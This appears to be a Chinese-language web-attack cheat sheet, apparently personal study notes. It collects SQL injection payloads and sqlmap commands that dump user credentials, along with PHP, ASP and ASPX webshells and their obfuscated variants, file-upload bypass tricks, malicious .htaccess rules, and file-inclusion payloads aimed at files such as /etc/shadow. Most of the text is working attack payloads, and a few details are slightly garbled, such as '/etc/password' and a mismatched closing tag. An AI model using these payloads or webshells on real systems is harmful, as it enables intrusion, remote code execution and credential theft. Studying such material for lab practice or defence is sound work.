SQL注入
联合注入
?id=1'and 1=1-- -
?id=1'order by 1-- -
?id=-1'union select 1,2,3-- -
?id=-1'union select 1,database(),3-- -
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() -- -
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name="users" -- -
?id=-1' union select 1,group_concat(username,0x3a,password),3 from users -- -
布尔盲注
?id=1' and length(database())=8 -- -
?id=1' and length(database())>2 and length(database())<12 -- -
?id=1' and left(database(),1)>'a' and left(database(),1)<'z' -- -
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>11 -- -
SqlMap
"http://192.168.165.98/sqlilabs/Less-5/?id=1"
"http://192.168.165.98/sqlilabs/Less-5/?id=1" --current-db
"http://192.168.165.98/sqlilabs/Less-5/?id=1" -D security --tables
"http://192.168.165.98/sqlilabs/Less-5/?id=1" -D security -T users --columns
"http://192.168.165.98/sqlilabs/Less-5/?id=1" -D security -T users -C "username,password" --dump
时间盲注
?id=1' and sleep(5) -- -
?id=1' and if(length(database())>=8,sleep(5),1) -- -
?id=1' and if(length(database())>=8,1,sleep(5)) -- -
?id=1' and if(ascii(substr(database(),1,1))>115,1,,sleep(5)) -- -
万能密码
' or '1=1'#
变形——' or '1=1 或者' or '1=1' '
二次注入
- 利用username='admin'# '——使username能闭合变形成为admin账号,然后修改密码
- 或者username = '' OR '1'='1' ——或者利用闭合,使查询条件恒为真,然后爆出所有用户的账号密码
宽字节注入
?id=1%df and 1=2 -- -
宽字节注入——%df与\在GBK编码下,合成一个汉字,防转义单引号,然后进行联合注入
- 爆列名,table_name="users"中的"users"使用https://www.107000.com/转换的hex编码
- 爆账号密码的时候,表名不用处理,在账号密码中间插入hex编码,0x3a
报错注入
updatexml()
id=-1or updatexml(1,concat(0x7e,(select database())),1)
id=-1 or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)
id=-1 or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='sqli')),1)
id=-1 or updatexml(1,concat(0x7e,(select group_concat(password) from sqli)),1)
extractvalue()
id=-1 or extractvalue(1,concat(0x7e,(select database())))
id=-1 or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))
id=-1 or extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='sqli')))
id=-1 or extractvalue(1,concat(0x7e,(select group_concat(password) from sqli)))
bypass绕过
- 空格——括号、双写( · · )、注释(#、/**/、--+、-- -)、编码(%09、%0d、%0a、%a0、+)
- 引号——反引号、双引号、引号整体hex编码
- 逗号
①盲注中使用 “substr(0,1),”====substr(from 0 for 1)
②limit 2,1 ==== limit 1 offset 2
③union select 1,2,3 ====union select * from (select 1)a join (select 2)b join(select 3)c
- 等号——<、>、!=
- 注释符——换注释符、使之闭合
- 关键字——前后双写(adaddd)、大小写、中间加注释
- 等价函数
sleep() ==>benchmark()
concat_ws()==>group_concat()
mid()、substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()
hex()、bin() ==> ascii()and可用like绕过,一般双写都能绕过
文件上传
文件上传
凡是存在上传东西的地方都可能会存在文件上传漏洞
eval()函数用于执行代码层面的命令 ,system————执行系统层面命令
w是获取phpinfo之后连接蚁剑的登录密码
POST 是在消息体存放数据,GET 是在消息头的 URL 路径里存放数据(例如xxx.php?a=2)
一句话木马(Webshell)
标准形式
<?php @eval($_POST['w']);?> ——————也可用@assert
<?php @eval("echo '123');"?> ——————echo()函数用于打印,相当于<?php echo '123';?>
w=system("dir /C >> 1.txt:"); ——————将目录导入1.txt文件中存放
不同语言编写的网页的一句话木马
—————————————————————————————————————————————————————————————————————————————
php <?php @eval($_POST[hack]);?>
asp <%eval request ("hack")%>
aspx <%@ Page Language="Jscript"%> <%eval(Request.Item["hack"],"unsafe");%>
变形马
变形马脚本
Ⅰ、create_function()函数
<?php
$fun = create_function('',$_POST['nosery']);
$fun();
?>
Ⅱ、@call_user_func()函数
<?php
@call_user_func(assert,$_POST['nosery']);
?>
Ⅲ、@preg_replace()函数
<?php
@preg_replace("/abcde/e", $_POST['nosery'], "abcdefg");
?>
Ⅳ、file_put_contents()函数
<?php
$test='<?php $a=$_POST["nosery"];assert($a); ?>';
file_put_contents("hello.php", $test);
?>
Ⅴ、编码绕过脚本
<?php
$a=base64_decode("YXNzZXJ0")
$a($_POST['nosery']);
?>
Ⅵ、拼接绕过
<?php
$a = "assert";
$a(@$_POST['nosery']);
?>
Ⅶ、运算符变形
<?php
@$_++;
$__=("`"^"?").(":"^"}").("%"^"`").("{"^"/");
$___=("$"^"{").("~"^".").("/"^"`").("-"^"~").("("^"|");
${$__}[!$_](${$___}[$_]);
?>
echo打印出三个变量$_++、$__、$___可以看到他们的值分别为1、_GET、_POST
放入最后一条语句中刚好组成一个两层的一句话木马————————<?php $_GET[0]($_POST[1])?>
图片马
1、文本方式或16进制打开图片,在末尾粘贴一句话木马
2、cmd执行copy pic.jpg/b + php木马.php/a webshell.jpg
( /b 表示以二进制方式打开,/a 表示以ASCII方式打开)
然后上传到目标网站,由于图片马不是单纯的php,所以不能直接解析,也不能直接连蚁剑——只有利用文件包含漏洞,才能成功利用该木马
后缀黑名单绕过
- 文件名大小写:pHp
- 使用php1-9(php1等挨个试一遍,仍要php解析),phtml(它也能被解析)——命名为 .php1.jpg
- 上传文件时把后缀名改成png格式,上传时在通过Burp把后缀名改回来
- MIME类型欺骗
上传图片马,抓包,放到repeater修改请求头中Content-Type字段为"image/jpeg",并在<?php> 头前面加上GIF89a
- 0x00截断绕过
上传一句话木马,抓包后将.php改为.php%00
上传图片马,抓包后将.jpg改为.php%00
上传evil.php.jpg,抓包后改为evil.php0x00jpg
直接重命名为xxx.php%00.jpg- 双写后缀名:phphpp
- 上传.php.abc——校验的是.abc,执行的是.php
- 在后缀名中加空格或加点(.php.)或加点空格点绕过(. .)绕过(windows会默认去除后缀后的空格和点号,linux不适用)
- 对Apache服务器上传.htaccess覆盖绕过
最后访问木马的时候访问的是 .php
如果命名的时候不能以 .htaccess 作为文件名,可以先命名为 htaccess.txt或 htaccess.jpg,再抓包修改
按照php解析
#define width 1377
#define height 1377
<FilesMatch "123pinfo.jpg"> FilesMatch作文件匹配的,匹配后按照php进行解析
SetHandler application/x-httpd-php
</FileMatch>
先构造好.htaccess 文件,然后上传123pinfo.jpg 文件,然后再上传.htaccess 文件
再去访问123pinfo.jpg,就可以到达phpinfo页面
.htaccess 文件只要上传到该网站的文件夹即可,先后顺序无所谓
Ⅰ、访问限制绕过脚本
<FilesMatch ".(htaccess|htpasswd|ini|phps|fla|psd|log|sh)$">
Order Allow,Deny
Deny from all
</FilesMatch>
Ⅱ、修改重写规则
<FilesMatch ".(htaccess|htpasswd|ini|phps|fla|psd|log|sh)$">
RewriteEngine On
RewriteRule ^(.*)$ http:
</FilesMatch>
//攻击者网站.com/$1 [L,R=301]
/*L表示如果匹配本规则,那本规则就是最后一条规则忽略后面的内容
rule=301,临时重定向
在后面如果有[NC],则表示“不区分大小写”*/
/*该RewriteRule能够将.htm静态页面重定向到.php动态页面
如果通过.htm进入,浏览器地址栏会自动转为.php,这也是重定向的本质
必须保证服务器上有对应的.php,否则会404*/
文件包含
文件包含
php允许文件间的互相引用,故可在php文件里面使用include,包含的一切均按照php解析,但只能相对路径
- 能够打开并包含本地文件的漏洞,我们称为本地文件包含漏洞(LFI)
- 如果PHP的配置allow_url_include、allow_url_fopen状态为ON的话,则include/require函数可加载远程文件,这种漏洞被称为远程文件包含(RFI),如 ?file="https://baidu.com/nosery",如果远程包含一句话木马——就可以达到远控的目的
漏洞测试
1、纯黑盒挖掘——看URL的链接,如果里面含有?file=xxxx,极大可能会存在文件包含(在该页面的源码中会存在下列代码)
<?php
$file=$_GET['file'];
include($file);
?>
可以试一下访问一些配置文件,如Linux下的/etc/password(Windows在c盘下也有一些配置文件),在include.php后面加?file=/etc/password去访问一些配置文件。黑盒测试经验很重要,因为漏洞类型不明确,测试漏洞的时候就要结合功能和URL传参去试
2、审计代码
代码确定包含某文件,此时其实是改不了的,看本页包含的文件里面是否含有可控制值,如果传参是GET型,就可以控制该值的传参,要跟踪跳转,去寻找代码逻辑上的缺陷是什么,然后根据缺陷去攻击
限制绕过
- 有限制的LFI绕过——?action=phpinfo.php%00;./././ 绕过;....... 绕过;伪协议绕过
- 有限制的LFI绕过——?action=http://192.168.152.123/phpinfo.php?;%23、%20、+、空格abc绕过
伪协议
file:// | 访问本地文件系统 |
http:// | 访问 HTTP(s)网址 |
ftp:// | 访问 FTP(s)URLS |
php:// | 访问各个输入/输出流 |
zlib:// | 压缩流 |
data:// | 数据(RFC2397) |
rar:// | RAR |
1、file://协议
?path=file://c:\windows\system32\drivers\etc\hosts]
加密用法——file=php://filter/covert.base64_encode/resource=
2、php://filter协议————用于读取源码
?path=php://filter/read=convert.base64-encode/resource =文件.php
3、php://input协议————用于执行php代码,流的形式传文件
$data = file_get_contents('php://input');
读取到的数据可以根据请求的 Content-Type 进行解析,如请求的 Content-Type 是 application/json,则可以使用 json_decode() 函数将数据解析为 JSON 格式
4、data://协议————直接执行php代码
?file=data:text/plain,<?php phpinfo();?>
?page=data://text/plain,
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpPz4=
5、zip://协议————绝对路径
?file=zip://D:WWW/file.zip%23phpcode.txt
/about.php?f=zip://./images/1499394959.jpg%231.php
6、phar://协议
?file=phar://D:/phpStudy/WWW/fileinclude/test.zip/phpinfo.txt
/about.php?f=phar://./images/1499394959.jpg/1.php
一些常见的敏感目录信息路径——?filename=C:\boot.ini
Windows系统:
- 查看系统版本——C:\boot.ini
- MySQL root密码——C:\ProgramFiles\mysql\data\mysql\user.MYD
- php配置信息——C:\windows\php.ini
Linux/Unix系统:
- 账户信息——/etc/password
- 账户密码信息——/etc/shadow
- PHP相关配置——/usr/local/app/php5/lib/php.ini
- Apache配置文件——/etc/httpd/conf/httpd.conf
- mysql配置文件——/etc/my.conf
目标硬盘里有没有目标文件,可以用php函数:opendir()
和readdir()
等等;想上传文件,就用php函数:move_uploaded_file
,当然相应的html要写好;你想执行cmd命令,则用exec()